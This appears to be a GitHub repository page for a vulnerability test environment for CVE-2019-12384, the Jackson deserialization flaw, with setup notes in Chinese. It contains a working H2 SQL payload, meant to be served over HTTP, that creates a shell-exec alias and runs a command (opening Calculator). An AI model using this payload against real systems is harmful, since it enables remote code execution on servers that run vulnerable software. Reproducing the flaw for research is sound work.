Skip to content

MagicZer0/Jackson_RCE-CVE-2019-12384

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

环境搭建

将项目导入到idea,再配置好maven之后设置自动导入依赖库,然后在本地的web空目录写入如下文件,保存为exec.sql。并启动一个http server:

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"/bin/bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\0A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('open /Applications/Calculator.app')

请注意修改代码中对应的部分,适配不同的操作系统环境。

运行结果

可以看到弹出计算器。

漏洞参考

https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

https://mthbernardes.github.io/rce/2018/03/14/abusing-h2-database-alias.html

https://www.anquanke.com/post/id/182695

About

CVE-2019-12384 漏洞测试环境

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages